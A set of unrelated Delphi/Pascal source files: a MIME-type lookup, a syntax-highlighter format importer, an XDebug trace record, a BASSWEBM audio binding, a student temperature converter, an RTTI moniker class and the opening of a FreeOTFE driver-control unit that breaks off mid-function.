Result := code;
end;
function IsImage(AFileName: string): boolean;
var
FileExt: string;
begin
FileExt := ExtractFileExt(AFileName);
result := ( (FileExt = '.jpg')
or (FileExt = '.gif')
or (FileExt = '.png')
or (FileExt = '.bmp')
or (FileExt = '.tif')
or (FileExt = '.ico') ) and FileExists(AFileName);
end;
function IsFileDownload(AFileName: string): boolean;
var
FileExt: string;
begin
FileExt := ExtractFileExt(AFileName);
result := not ( (FileExt = '.html')
or (FileExt = '.htm')
or (FileExt = '.txt')
or (FileExt = '.css')
or (FileExt = '.js')
or (FileExt = '.xhtml')
or (FileExt = '.dhtml') ) and FileExists(AFileName);
end;
function GetContentType(AFileName: string): string;
var
FileExt: string;
begin
FileExt := ExtractFileExt(AFileName);
if FileExt = '.evy' then Result := 'application/envoy'
else if FileExt = '.fif' then Result := 'application/fractals'
else if FileExt = '.spl' then Result := 'application/futuresplash'
else if FileExt = '.hta' then Result := 'application/hta'
else if FileExt = '.acx' then Result := 'application/internet-property-stream'
else if FileExt = '.hqx' then Result := 'application/mac-binhex40'
else if FileExt = '.doc' then Result := 'application/msword'
else if FileExt = '.dot' then Result := 'application/msword'
else if FileExt = '.*' then Result := 'application/octet-stream'
else if FileExt = '.bin' then Result := 'application/octet-stream'
else if FileExt = '.class' then Result := 'application/octet-stream'
else if FileExt = '.dms' then Result := 'application/octet-stream'
else if FileExt = '.exe' then Result := 'application/octet-stream'
else if FileExt = '.lha' then Result := 'application/octet-stream'
else if FileExt = '.lzh' then Result := 'application/octet-stream'
else if FileExt = '.oda' then Result := 'application/oda'
else if FileExt = '.axs' then Result := 'application/olescript'
else if FileExt = '.pdf' then Result := 'application/pdf'
else if FileExt = '.prf' then Result := 'application/pics-rules'
else if FileExt = '.p10' then Result := 'application/pkcs10'
else if FileExt = '.crl' then Result := 'application/pkix-crl'
else if FileExt = '.ai' then Result := 'application/postscript'
else if FileExt = '.eps' then Result := 'application/postscript'
else if FileExt = '.ps' then Result := 'application/postscript'
else if FileExt = '.rtf' then Result := 'application/rtf'
else if FileExt = '.setpay' then Result := 'application/set-payment-initiation'
else if FileExt = '.setreg' then Result := 'application/set-registration-initiation'
else if FileExt = '.xla' then Result := 'application/vnd.ms-excel'
else if FileExt = '.xlc' then Result := 'application/vnd.ms-excel'
else if FileExt = '.xlm' then Result := 'application/vnd.ms-excel'
else if FileExt = '.xls' then Result := 'application/vnd.ms-excel'
else if FileExt = '.xlt' then Result := 'application/vnd.ms-excel'
else if FileExt = '.xlw' then Result := 'application/vnd.ms-excel'
else if FileExt = '.msg' then Result := 'application/vnd.ms-outlook'
else if FileExt = '.sst' then Result := 'application/vnd.ms-pkicertstore'
else if FileExt = '.cat' then Result := 'application/vnd.ms-pkiseccat'
else if FileExt = '.stl' then Result := 'application/vnd.ms-pkistl'
else if FileExt = '.pot' then Result := 'application/vnd.ms-powerpoint'
else if FileExt = '.pps' then Result := 'application/vnd.ms-powerpoint'
else if FileExt = '.ppt' then Result := 'application/vnd.ms-powerpoint'
else if FileExt = '.mpp' then Result := 'application/vnd.ms-project'
else if FileExt = '.wcm' then Result := 'application/vnd.ms-works'
else if FileExt = '.wdb' then Result := 'application/vnd.ms-works'
else if FileExt = '.wks' then Result := 'application/vnd.ms-works'
else if FileExt = '.wps' then Result := 'application/vnd.ms-works'
else if FileExt = '.hlp' then Result := 'application/winhlp'
else if FileExt = '.bcpio' then Result := 'application/x-bcpio'
else if FileExt = '.cdf' then Result := 'application/x-cdf'
else if FileExt = '.z' then Result := 'application/x-compress'
else if FileExt = '.tgz' then Result := 'application/x-compressed'
else if FileExt = '.cpio' then Result := 'application/x-cpio'
else if FileExt = '.csh' then Result := 'application/x-csh'
else if FileExt = '.dcr' then Result := 'application/x-director'
else if FileExt = '.dir' then Result := 'application/x-director'
else if FileExt = '.dxr' then Result := 'application/x-director'
else if FileExt = '.dvi' then Result := 'application/x-dvi'
else if FileExt = '.gtar' then Result := 'application/x-gtar'
else if FileExt = '.gz' then Result := 'application/x-gzip'
else if FileExt = '.hdf' then Result := 'application/x-hdf'
else if FileExt = '.ins' then Result := 'application/x-internet-signup'
else if FileExt = '.isp' then Result := 'application/x-internet-signup'
else if FileExt = '.iii' then Result := 'application/x-iphone'
else if FileExt = '.js' then Result := 'application/x-javascript'
else if FileExt = '.latex' then Result := 'application/x-latex'
else if FileExt = '.mdb' then Result := 'application/x-msaccess'
else if FileExt = '.crd' then Result := 'application/x-mscardfile'
else if FileExt = '.clp' then Result := 'application/x-msclip'
else if FileExt = '.dll' then Result := 'application/x-msdownload'
else if FileExt = '.m13' then Result := 'application/x-msmediaview'
else if FileExt = '.m14' then Result := 'application/x-msmediaview'
else if FileExt = '.mvb' then Result := 'application/x-msmediaview'
else if FileExt = '.wmf' then Result := 'application/x-msmetafile'
else if FileExt = '.mny' then Result := 'application/x-msmoney'
else if FileExt = '.pub' then Result := 'application/x-mspublisher'
else if FileExt = '.scd' then Result := 'application/x-msschedule'
else if FileExt = '.trm' then Result := 'application/x-msterminal'
else if FileExt = '.wri' then Result := 'application/x-mswrite'
else if FileExt = '.cdf' then Result := 'application/x-netcdf'
else if FileExt = '.nc' then Result := 'application/x-netcdf'
else if FileExt = '.pma' then Result := 'application/x-perfmon'
else if FileExt = '.pmc' then Result := 'application/x-perfmon'
else if FileExt = '.pml' then Result := 'application/x-perfmon'
else if FileExt = '.pmr' then Result := 'application/x-perfmon'
else if FileExt = '.pmw' then Result := 'application/x-perfmon'
else if FileExt = '.p12' then Result := 'application/x-pkcs12'
else if FileExt = '.pfx' then Result := 'application/x-pkcs12'
else if FileExt = '.p7b' then Result := 'application/x-pkcs7-certificates'
else if FileExt = '.spc' then Result := 'application/x-pkcs7-certificates'
else if FileExt = '.p7r' then Result := 'application/x-pkcs7-certreqresp'
else if FileExt = '.p7c' then Result := 'application/x-pkcs7-mime'
else if FileExt = '.p7m' then Result := 'application/x-pkcs7-mime'
else if FileExt = '.p7s' then Result := 'application/x-pkcs7-signature'
else if FileExt = '.sh' then Result := 'application/x-sh'
else if FileExt = '.shar' then Result := 'application/x-shar'
else if FileExt = '.swf' then Result := 'application/x-shockwave-flash'
else if FileExt = '.sit' then Result := 'application/x-stuffit'
else if FileExt = '.sv4cpio' then Result := 'application/x-sv4cpio'
else if FileExt = '.sv4crc' then Result := 'application/x-sv4crc'
else if FileExt = '.tar' then Result := 'application/x-tar'
else if FileExt = '.tcl' then Result := 'application/x-tcl'
else if FileExt = '.tex' then Result := 'application/x-tex'
else if FileExt = '.texi' then Result := 'application/x-texinfo'
else if FileExt = '.texinfo' then Result := 'application/x-texinfo'
else if FileExt = '.roff' then Result := 'application/x-troff'
else if FileExt = '.t' then Result := 'application/x-troff'
else if FileExt = '.tr' then Result := 'application/x-troff'
else if FileExt = '.man' then Result := 'application/x-troff-man'
else if FileExt = '.me' then Result := 'application/x-troff-me'
else if FileExt = '.ms' then Result := 'application/x-troff-ms'
else if FileExt = '.ustar' then Result := 'application/x-ustar'
else if FileExt = '.src' then Result := 'application/x-wais-source'
else if FileExt = '.cer' then Result := 'application/x-x509-ca-cert'
else if FileExt = '.crt' then Result := 'application/x-x509-ca-cert'
else if FileExt = '.der' then Result := 'application/x-x509-ca-cert'
else if FileExt = '.pko' then Result := 'application/ynd.ms-pkipko'
else if FileExt = '.zip' then Result := 'application/zip'
else if FileExt = '.rar' then Result := 'application/rar'
else if FileExt = '.au' then Result := 'audio/basic'
else if FileExt = '.snd' then Result := 'audio/basic'
else if FileExt = '.mid' then Result := 'audio/mid'
else if FileExt = '.rmi' then Result := 'audio/mid'
else if FileExt = '.mp3' then Result := 'audio/mpeg'
else if FileExt = '.aif' then Result := 'audio/x-aiff'
else if FileExt = '.aifc' then Result := 'audio/x-aiff'
else if FileExt = '.aiff' then Result := 'audio/x-aiff'
else if FileExt = '.m3u' then Result := 'audio/x-mpegurl'
else if FileExt = '.ra' then Result := 'audio/x-pn-realaudio'
else if FileExt = '.ram' then Result := 'audio/x-pn-realaudio'
else if FileExt = '.wav' then Result := 'audio/x-wav'
else if FileExt = '.bmp' then Result := 'image/bmp'
else if FileExt = '.cod' then Result := 'image/cis-cod'
else if FileExt = '.gif' then Result := 'image/gif'
else if FileExt = '.png' then Result := 'image/png'
else if FileExt = '.ief' then Result := 'image/ief'
else if FileExt = '.jpe' then Result := 'image/jpeg'
else if FileExt = '.jpeg' then Result := 'image/jpeg'
else if FileExt = '.jpg' then Result := 'image/jpeg'
else if FileExt = '.jfif' then Result := 'image/pipeg'
else if FileExt = '.svg' then Result := 'image/svg+xml'
else if FileExt = '.tif' then Result := 'image/tiff'
else if FileExt = '.tiff' then Result := 'image/tiff'
else if FileExt = '.ras' then Result := 'image/x-cmu-raster'
else if FileExt = '.cmx' then Result := 'image/x-cmx'
else if FileExt = '.ico' then Result := 'image/x-icon'
else if FileExt = '.pnm' then Result := 'image/x-portable-anymap'
else if FileExt = '.pbm' then Result := 'image/x-portable-bitmap'
else if FileExt = '.pgm' then Result := 'image/x-portable-graymap'
else if FileExt = '.ppm' then Result := 'image/x-portable-pixmap'
else if FileExt = '.rgb' then Result := 'image/x-rgb'
else if FileExt = '.xbm' then Result := 'image/x-xbitmap'
else if FileExt = '.xpm' then Result := 'image/x-xpixmap'
else if FileExt = '.xwd' then Result := 'image/x-xwindowdump'
else if FileExt = '.mht' then Result := 'message/rfc822'
else if FileExt = '.mhtml' then Result := 'message/rfc822'
else if FileExt = '.nws' then Result := 'message/rfc822'
else if FileExt = '.css' then Result := 'text/css'
else if FileExt = '.323' then Result := 'text/h323'
else if FileExt = '.htm' then Result := 'text/html'
else if FileExt = '.html' then Result := 'text/html'
else if FileExt = '.stm' then Result := 'text/html'
else if FileExt = '.uls' then Result := 'text/iuls'
else if FileExt = '.bas' then Result := 'text/plain'
else if FileExt = '.c' then Result := 'text/plain'
else if FileExt = '.h' then Result := 'text/plain'
else if FileExt = '.txt' then Result := 'text/plain'
else if FileExt = '.rtx' then Result := 'text/richtext'
else if FileExt = '.sct' then Result := 'text/scriptlet'
else if FileExt = '.tsv' then Result := 'text/tab-separated-values'
else if FileExt = '.htt' then Result := 'text/webviewhtml'
else if FileExt = '.htc' then Result := 'text/x-component'
else if FileExt = '.etx' then Result := 'text/x-setext'
else if FileExt = '.vcf' then Result := 'text/x-vcard'
else if FileExt = '.mp2' then Result := 'video/mpeg'
else if FileExt = '.mpa' then Result := 'video/mpeg'
else if FileExt = '.mpe' then Result := 'video/mpeg'
else if FileExt = '.mpeg' then Result := 'video/mpeg'
else if FileExt = '.mpg' then Result := 'video/mpeg'
else if FileExt = '.mpv2' then Result := 'video/mpeg'
else if FileExt = '.mov' then Result := 'video/quicktime'
else if FileExt = '.qt' then Result := 'video/quicktime'
else if FileExt = '.lsf' then Result := 'video/x-la-asf'
else if FileExt = '.lsx' then Result := 'video/x-la-asf'
else if FileExt = '.asf' then Result := 'video/x-ms-asf'
else if FileExt = '.asr' then Result := 'video/x-ms-asf'
else if FileExt = '.asx' then Result := 'video/x-ms-asf'
else if FileExt = '.avi' then Result := 'video/x-msvideo'
else if FileExt = '.movie' then Result := 'video/x-sgi-movie'
else if FileExt = '.flr' then Result := 'x-world/x-vrml'
else if FileExt = '.vrml' then Result := 'x-world/x-vrml'
else if FileExt = '.wrl' then Result := 'x-world/x-vrml'
else if FileExt = '.wrz' then Result := 'x-world/x-vrml'
else if FileExt = '.xaf' then Result := 'x-world/x-vrml'
else if FileExt = '.xof' then Result := 'x-world/x-vrml'
else Result := 'text/html';
end;
end.
|
{
@abstract(Provides automatic detecting format of highlighters and importing)
@authors(Vitalik [just_vitalik@yahoo.com])
@created(2006)
@lastmod(2006-06-30)
}
{$IFNDEF QSynUniFormatNativeXmlAuto}
unit SynUniFormatNativeXmlAuto;
{$ENDIF}
interface
uses
{$IFDEF SYN_CLX}
QClasses,
QGraphics,
QSynUniFormat,
QSynUniClasses,
QSynUniRules,
QSynUniHighlighter
{$ELSE}
Classes,
Graphics,
//Variants,
SynUniFormat,
SynUniFormatNativeXml,
SynUniClasses,
SynUniRules,
SynUniHighlighter,
{$ENDIF}
SysUtils{ ,
XMLIntf // DW } ;
type
TSynUniFormatNativeXmlAuto = class(TSynUniFormat)
class function ImportFromStream(AObject: TObject; AStream: TStream): Boolean; override;
class function ExportToStream(AObject: TObject; AStream: TStream): Boolean; override;
class function ImportFromFile(AObject: TObject; AFileName: string): Boolean; override;
class function ExportToFile(AObject: TObject; AFileName: string): Boolean; override;
end;
implementation
uses
SynUniFormatNativeXml15,
SynUniFormatNativeXml18,
SynUniFormatNativeXml20;
//------------------------------------------------------------------------------
class function TSynUniFormatNativeXmlAuto.ImportFromStream(AObject: TObject; AStream: TStream): Boolean;
var
Buffer: string;
const
NumBytes = 32;
begin
VerifyStream(AStream);
SetLength(Buffer, NumBytes);
AStream.Read(Buffer[1], NumBytes);
AStream.Position := 0;
if (Copy(Buffer, 1, 27) = '<UniHighlighter version="1.') or
(Copy(Buffer, 1, 30) = '<SynUniHighlighter Version="1.') then
begin // version 1.8 //ShowMessage('Trying load 1.8 version...');
TSynUniFormatNativeXml18.ImportFromStream(AObject, AStream)
end
else if Copy(Buffer, 1, 16) = '<UniHighlighter>' then
begin // versions 1.0 è 1.5 //ShowMessage('Trying load 1.5 version...');
TSynUniFormatNativeXml15.ImportFromStream(AObject, AStream);
end
else begin // version 2.0 //ShowMessage('Trying load 2.0 version...');
TSynUniFormatNativeXml20.ImportFromStream(AObject, AStream);
end;
//SynUniSyn.DefHighlightChange(SynUniSyn);
end;
//------------------------------------------------------------------------------
class function TSynUniFormatNativeXmlAuto.ExportToStream(AObject: TObject; AStream: TStream): Boolean;
begin
VerifyStream(AStream);
if (AObject is TSynUniSyn) then begin
if (TSynUniSyn(AObject).FormatVersion = '1.8') or (TSynUniSyn(AObject).FormatVersion = '1.5') then
TSynUniFormatNativeXml18.ExportToStream(AObject, AStream)
else
TSynUniFormatNativeXml20.ExportToStream(AObject, AStream);
end
else
raise Exception.Create(ClassName + '.ExportFromStream: Cannot automatic export '+AObject.ClassName+' object');
end;
//------------------------------------------------------------------------------
class function TSynUniFormatNativeXmlAuto.ImportFromFile(AObject: TObject; AFileName: string): Boolean;
var
FileStream: TFileStream;
begin
VerifyFileName(AFileName);
FileStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);
try
ImportFromStream(AObject, FileStream);
finally
FreeAndNil(FileStream);
end;
if AObject is TSynUniSyn then
TSynUniSyn(AObject).FileName := AFileName;
Result := True;
end;
//------------------------------------------------------------------------------
class function TSynUniFormatNativeXmlAuto.ExportToFile(AObject: TObject; AFileName: string): Boolean;
var
FileStream: TFileStream;
begin
VerifyEmptyFileName(AFileName);
FileStream := TFileStream.Create(AFileName, fmCreate or fmShareDenyWrite);
try
ExportToStream(AObject, FileStream);
finally
FreeAndNil(FileStream);
end;
if AObject is TSynUniSyn then
TSynUniSyn(AObject).FileName := AFileName;
Result := True;
end;
end.
|
unit XDebugItem;
interface
uses Classes;
type
TXFunctionType = (XFT_INTERNAL, XFT_USER_DEFINED);
TStringArray = array of string;
PXItem = ^TXItem;
TXItemArray = array of PXItem;
TXItem = record
private
FLevel: word;
FTimeStart: single;
FTimeEnd: single;
FMemoryStart: cardinal;
FMemoryEnd: cardinal;
FFunctionName: string;
FFunctionType: TXFunctionType;
FIncludeFile: string;
FFileName: string;
FFileLine: cardinal;
FParamCount: word;
FParametersStreamOffset: cardinal;
FParametersStreamLength: cardinal;
FParent: PXItem;
FChildCount: cardinal;
FChildren: TXItemArray;
ChildrenCapacity: cardinal;
FFunctionNo: Integer;
FDebugMemoryUsage: Integer;
function GetOwnMemory: Integer;
function GetChildMemory: Integer;
function GetMemoryTotal: Integer;
public
constructor Create(InitLevel: Cardinal); overload;
constructor Create(LineData: TStringArray; Parent: PXItem; Stream: TFileStream); overload;
procedure Finish(LineData: TStringArray);
function GetChildren(): TXItemArray;
function GetChild(Index: cardinal): PXItem;
procedure AddChild(Child: PXItem);
procedure Freeze;
procedure Free;
property Level: word read FLevel;
property FunctionNo: Integer read FFunctionNo;
property TimeStart: single read FTimeStart;
property TimeEnd: single read FTimeEnd;
property MemoryStart: cardinal read FMemoryStart;
property MemoryEnd: cardinal read FMemoryEnd;
property FunctionName: string read FFunctionName;
property FunctionType: TXFunctionType read FFunctionType;
property IncludeFile: string read FIncludeFile;
property FileName: string read FFileName;
property FileLine: cardinal read FFileLine;
property ParamCount: word read FParamCount;
property ParamStreamOffset: cardinal read FParametersStreamOffset;
property ParamStreamLength: cardinal read FParametersStreamLength;
property Parent: PXItem read FParent;
property ChildCount: cardinal read FChildCount;
property Children[Index: cardinal]: PXItem read GetChild;
property MemoryTotal: Integer read GetMemoryTotal;
property OwnMemory: Integer read GetOwnMemory;
property ChildMemory: Integer read GetChildMemory;
property DebugMemoryUsage: Integer read FDebugMemoryUsage write FDebugMemoryUsage;
end;
implementation
uses SysUtils;
constructor TXItem.Create(initLevel: Cardinal);
begin
FLevel := initLevel;
FFunctionNo := 0;
FTimeStart := 0;
FTimeEnd := 0;
FMemoryStart := 0;
FMemoryEnd := 0;
FFunctionName := '';
FFunctionType := XFT_INTERNAL;
FFileName := '';
FFileLine := 0;
FParamCount := 0;
FParametersStreamOffset := 0;
FParametersStreamLength := 0;
FChildCount := 0;
ChildrenCapacity := 10;
SetLength(FChildren, ChildrenCapacity);
end;
constructor TXItem.Create(LineData: TStringArray; Parent: PXItem; Stream: TFileStream);
begin
if Length(LineData) <> 12 then
raise Exception.Create('Invalid file line provided');
FLevel := StrToInt(LineData[0]);
FFunctionNo := StrToInt(LineData[1]);
FTimeStart := StrToFloat(LineData[3]);
FMemoryStart := StrToInt(LineData[4]);
FFunctionName := LineData[5];
if LineData[6] = '1' then
FFunctionType := XFT_USER_DEFINED
else
FFunctionType := XFT_INTERNAL;
FIncludeFile := LineData[7];
FFileName := LineData[8];
FFileLine := StrToInt(LineData[9]);
FParamCount := StrToInt(Linedata[10]);
FParametersStreamOffset := Stream.Position;
FParametersStreamLength := Length(LineData[11]);
FParent := Parent;
FChildCount := 0;
ChildrenCapacity := 10;
SetLength(FChildren, ChildrenCapacity);
end;
procedure TXItem.Finish(LineData: TStringArray);
begin
if Length(LineData) <> 5 then
raise Exception.Create('Invalid file line provided');
FMemoryEnd := StrToInt(LineData[4]);
FTimeEnd := StrToFloat(LineData[3]);
end;
function TXItem.GetChildren(): TXItemArray;
begin
Result := FChildren;
end;
function TXItem.GetMemoryTotal: Integer;
begin
Result := FMemoryEnd - FMemoryStart;
end;
function TXItem.GetOwnMemory: Integer;
begin
Result := MemoryTotal - ChildMemory;
end;
function TXItem.GetChild(Index: cardinal): PXItem;
begin
Result := FChildren[Index];
end;
function TXItem.GetChildMemory: Integer;
var
I: Integer;
begin
Result := 0;
for I := 0 to ChildCount - 1 do
begin
Result := Result + Children[I].MemoryTotal;
end;
end;
procedure TXItem.AddChild(Child: PXItem);
begin
if FChildCount = ChildrenCapacity - 1 then begin
Inc(ChildrenCapacity, 10);
SetLength(FChildren, ChildrenCapacity);
end;
FChildren[FChildCount] := Child;
Inc(FChildCount);
end;
procedure TXItem.Freeze;
var Child: PXItem;
begin
SetLength(FChildren, FChildCount);
for Child in FChildren do
Child^.Freeze;
end;
procedure TXItem.Free;
var Child: PXItem;
begin
for Child in FChildren do
if Assigned(Child) then begin
Child^.Free;
Dispose(Child);
end;
end;
end.
|
{
BASSWEBM 2.4 Delphi unit
Copyright (c) 2018-2019 Un4seen Developments Ltd.
See the BASSWEBM.CHM file for more detailed documentation
}
unit BassHLS;
interface
{$IFDEF MSWINDOWS}
uses BASS, Windows;
{$ELSE}
uses BASS;
{$ENDIF}
const
// Additional error codes returned by BASS_ErrorGetCode
BASS_ERROR_NOTAUDIO = 17;
BASS_ERROR_WEBM_TRACK = 8000;
// Additional tag types
BASS_TAG_WEBM = $15000; // file tags : series of null-terminated UTF-8 strings
BASS_TAG_WEBM_TRACK = $15001; // track tags : series of null-terminated UTF-8 strings
// Additional attributes
BASS_ATTRIB_WEBM_TRACK = $16000;
BASS_ATTRIB_WEBM_TRACKS = $16001;
const
{$IFDEF MSWINDOWS}
basswebmdll = 'basswebm.dll';
{$ENDIF}
{$IFDEF LINUX}
basswebmdll = 'libbasswebm.so';
{$ENDIF}
{$IFDEF MACOS}
basswebmdll = 'libbasswebm.dylib';
{$ENDIF}
function BASS_WEBM_StreamCreateFile(mem:BOOL; fl:pointer; offset,length:QWORD; flags,track:DWORD): HSTREAM; {$IFDEF MSWINDOWS}stdcall{$ELSE}cdecl{$ENDIF}; external basswebmdll;
function BASS_WEBM_StreamCreateURL(url:PChar; flags:DWORD; proc:DOWNLOADPROC; user:Pointer; track:DWORD): HSTREAM; {$IFDEF MSWINDOWS}stdcall{$ELSE}cdecl{$ENDIF}; external basswebmdll;
function BASS_WEBM_StreamCreateFileUser(system,flags:DWORD; var procs:BASS_FILEPROCS; user:Pointer; track:DWORD): HSTREAM; {$IFDEF MSWINDOWS}stdcall{$ELSE}cdecl{$ENDIF}; external basswebmdll;
implementation
end. |
//16517217/Mohammad Ridwan Hady Arifin
program konversisuhu;
{program menerima masukan berupa sebuah bilangan yang merepresentasikan suhu dan sebuah besaran dari suhu tersebut
kemudian program juga menerima sebuah masukan kedua berupa faktor konversi antara F, R, C atau K,
program akan menghitung nilai suhu setara dalam faktor konversi yang lain}
{Mini Program Konversi}
procedure celsius(var a:real; b: char);
begin
case b of
'R' : begin a := (4*a/5); writeln(a:0:2); end;
'F' : begin a := ((9*a/5)+32);writeln(a:0:2); end;
'K' : begin a := (a+273.15); writeln(a:0:2); end;
'C' : begin writeln(a); end;
else writeln('error, faktor konversi tersebut belum ditemukan mas');
end;
end;
procedure fahrenheit(var a: real; b:char);
begin
case b of
'R' : begin a := 4*(a-32)/9; writeln(a:0:2); end;
'C' : begin a := 5*(a-32)/9; writeln(a:0:2); end;
'K' : begin a := (5*(a-32)/9) + 273.15; writeln(a:0:2); end;
'F' : begin writeln(a:0:2); end;
else writeln('error, faktor konversi tersebut belum ditemukan mas');
end;
end;
procedure reamur(var a: real; b:char);
begin
case b of
'F' : begin a := ((9*a/4)+32); writeln(a:0:2);end;
'C' : begin a := (5*a/4); writeln(a:0:2); end;
'K' : begin a := (5*a/4) + 273.15; writeln(a:0:2); end;
'R' : begin writeln(a:0:2); end;
else writeln('error, faktor konversi tersebut belum ditemukan mas');
end;
end;
procedure kelvin(var a: real; b:char);
begin
if b = 'K' then begin writeln(a:0:2);
end else begin a := a - 273.15; celsius(a,b);
end;
end;
{KAMUS}
var
t : real;
k : char;
awal : char;
{ALGORITMA}
begin
writeln('Masukkan besar suhu');
readln(t);
writeln('Masukan satuan dari suhu tersebut');
readln(awal);
if ((ord(awal) < 65) or (ord(awal) > 90)) then begin
writeln('Gunakan huruf kapital, dan hanya "F", "C", "R" , atau "K"');
end else begin
writeln('ingin kamu konversi ke dalam bentuk apa?');
readln(k);
if ((ord(k) < 65) or (ord(k) > 90)) then begin
writeln('Gunakan huruf kapital, dan hanya "F", "C", "R" , atau "K"');
end else begin
case awal of
'C' : begin celsius(t,k);; end;
'F' : begin fahrenheit(t,k); end;
'R' : begin reamur(t,k); end;
'K' : begin kelvin(t,k); end;
else writeln('error, satuan tersebut belum ditemukan mas');
end;
end;
end;
end. |
unit rtti_serializer_uMoniker;
interface
uses
Classes, SysUtils, rtti_broker_iBroker, typinfo,
rtti_serializer_uSerialObject;
type
{ TSerialMoniker }
generic TSerialMoniker<T: TRBCustomObject> = class(TRBCustomObject)
private
fRefID: integer;
fIDObject: T;
fStore: IRBStore;
function GetIDObject: T;
public
constructor Create(AStore: IRBStore); reintroduce;
property IDObject: T read GetIDObject;
published
property RefID: integer read fRefID write fRefID;
end;
implementation
{ TSerialMoniker<T> }
function TSerialMoniker.GetIDObject: T;
begin
if fIDObject = nil then
begin
//fIDObject := fStore.Load(TRBCustomObjectClass(T.ClassType), RefID) as T;
//fIDObject := fStore.Load(T.ClassName, RefID) as T;
assert(false);
end;
Result := fIDObject;
end;
constructor TSerialMoniker.Create(AStore: IRBStore);
begin
fStore := AStore;
end;
end.
|
unit DriverControl;
// Description:
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
// !!!!!!!!!!!!!!!!!
// !!! WARNING !!!
// !!!!!!!!!!!!!!!!!
// AFTER USING THIS OBJECT, YOU ***MUST*** FLUSH THE CACHES IN ANY FREEOTFE
// COMPONENTS (i.e. call CachesFlush(...) on them) FOR THEM TO SEE DRIVER
// CHANGES
// !!!!!!!!!!!!!!!!!
// !!! WARNING !!!
// !!!!!!!!!!!!!!!!!
interface
uses
Windows, SysUtils, Classes, Dialogs,
WinSVC, // Required for service related definitions and functions
SDUGeneral;
const
DRIVER_BIT_SUCCESS = 1;
DRIVER_BIT_REBOOT_REQ = 2;
DRIVER_BIT_FILE_REMAINS = 4;
DRIVER_BIT_CANT_INSTALL_FILE = 8;
DRIVER_BIT_ALREADY_INSTALLED = 16;
resourcestring
TEXT_NEED_ADMIN = 'Administrator privileges are required in order to carry out this operation.';
type
TDriverControl = class
private
FSilent: Boolean;
// SCManager: SC_HANDLE;
function _MsgDlg(Content: String; DlgType: TMsgDlgType): Integer;
function FreeOTFEOpenService(
service: String;
var serviceHandle: SC_HANDLE
): Boolean;
procedure FreeOTFECloseService(serviceHandle: SC_HANDLE);
// Open the Service Control Manager
function SCManagerOpen(): Boolean;
// Close the Service Control Manager
procedure SCManagerClose();
function InstallDriverFile(driverFilename: String; var destFilename: String): Boolean;
function UninstallDriverFile(driverFilename: String): Boolean;
function GetFreeOTFEDriversInState(serviceState: DWORD;
var driverNames: TStringList): Boolean;
function DriverConfig(service: String; var autoStart: Boolean;
var fullDriverFilename: String): Boolean;
// Set a registry setting for the specified driver...
function SetDriverReg(service: String; Name: String; Value: String): Boolean; overload;
function SetDriverReg(service: String; Name: String; Value: Boolean): Boolean; overload;
// Get a registry setting for the specified driver...
{
Commented out; not used atm
function GetDriverRegString(service: string; name: string; var value: string): boolean;
}
function GetDriverRegBoolean(service: String; Name: String; var Value: Boolean): Boolean;
public
constructor Create();
destructor Destroy(); override;
property Silent: Boolean Read FSilent Write FSilent;
function InstallSetAutoStartAndStartDriver(pathAndFilename: String): Boolean; overload;
function InstallMultipleDrivers(
driverFilenames: TStringList;
portableMode: Boolean;
showProgress: Boolean;
startAfterInstall: Boolean
): Boolean;
function InstallDriver(filename: String; portableMode: Boolean;
var driverName: String): DWORD;
// Check to see if the named driver is installed
function IsDriverInstalled(service: String; var installed: Boolean): Boolean;
// Check to see if the named driver is installed in portable mode
function IsDriverInstalledPortable(service: String; var portableMode: Boolean): Boolean;
function UninstallDriver(service: String): DWORD;
function UninstallAllDrivers(portableModeOnly: Boolean): Boolean;
function GetServiceState(service: String; var state: DWORD): Boolean;
function GetFreeOTFEDrivers(var driverNames: TStringList): Boolean;
function StartStopService(service: String; start: Boolean): Boolean;
function GetServiceAutoStart(service: String; var autoStart: Boolean): Boolean;
function SetServiceAutoStart(service: String; autoStart: Boolean): Boolean;
function GetServiceNameForFilename(filename: String): String;
// Return total count of drivers installed
function CountDrivers(): Integer; overload;
// Return total count of drivers in portable/non portable mode
function CountDrivers(portableMode: Boolean): Integer; overload;
end;
implementation
uses
Controls, Forms,
lcDialogs,
OTFEFreeOTFE_U,
OTFEFreeOTFEBase_U,
registry,
SDUi18n,
SDUProgressDlg,
SDUWindows64;
const
// This CSIDL value isn't included in ShlObj in Delphi 5
CSIDL_SYSTEM = $0025;
REGKEY_BASE = '\SYSTEM\CurrentControlSet\Services';
// Flag registry key to indicate driver is a FreeOTFE driver
REG_FREEOTFE_DRIVER = 'FreeOTFE';
// Flag registry key to indicate if driver was installed in portable mode
REG_PORTABLE_MODE = 'InstalledPortable';
var
{windows 7 doesnt like opeing and closing it too much - get 'invalid handle error', so reuse
where pos -except when expliclty closed
}
{ TODO -otdk -crefactor : better make TDriverControl singleton }
uSCManager: SC_HANDLE = 0;
// ----------------------------------------------------------------------------
constructor TDriverControl.Create();
begin
FSilent := False;
if uSCManager = 0 then
if not (SCManagerOpen()) then begin
raise EFreeOTFENeedAdminPrivs.Create(
_('Unable to open service control manager.') + SDUCRLF +
SDUCRLF + TEXT_NEED_ADMIN);
end;
end;
// ----------------------------------------------------------------------------
destructor TDriverControl.Destroy();
begin
{ dont call SCManagerClose(); - see comment for uSCManager.
this isnt a resource leak bc CreateService doesnt actually create anything - only gets handle}
inherited;
end;
// ----------------------------------------------------------------------------
// This returns a service state as per calls to SERVICE_STATUS struct;
// dwCurrentState member
// state - This will be set to the state of the service
// Returns: TRUE/FALSE on success/failure
function TDriverControl.GetServiceState(service: String; var state: DWORD): Boolean;
var
serviceHandle: SC_HANDLE;
serviceStatus: SERVICE_STATUS;
begin
Result := False;
if (uSCManager <> 0) then begin
serviceHandle := 0;
if (FreeOTFEOpenService(service, serviceHandle)) then begin
if QueryServiceStatus(serviceHandle, // handle of service
serviceStatus // address of service status structure
) then begin
state := serviceStatus.dwCurrentState;
Result := True;
end;
FreeOTFECloseService(serviceHandle);
end;
end;
end;
// driverNames - Set to a TStringList object which will have the driver names
// *added* to it
function TDriverControl.GetFreeOTFEDrivers(var driverNames: TStringList): Boolean;
begin
Result := True;
Result := Result and GetFreeOTFEDriversInState(SERVICE_ACTIVE, driverNames);
Result := Result and GetFreeOTFEDriversInState(SERVICE_INACTIVE, driverNames);
end;
// dwServiceState - Set to SERVICE_ACTIVE or SERVICE_INACTIVE
// driverNames - Set to a TStringList object which will have the driver names
// *added* to it
function TDriverControl.GetFreeOTFEDriversInState(serviceState: DWORD;
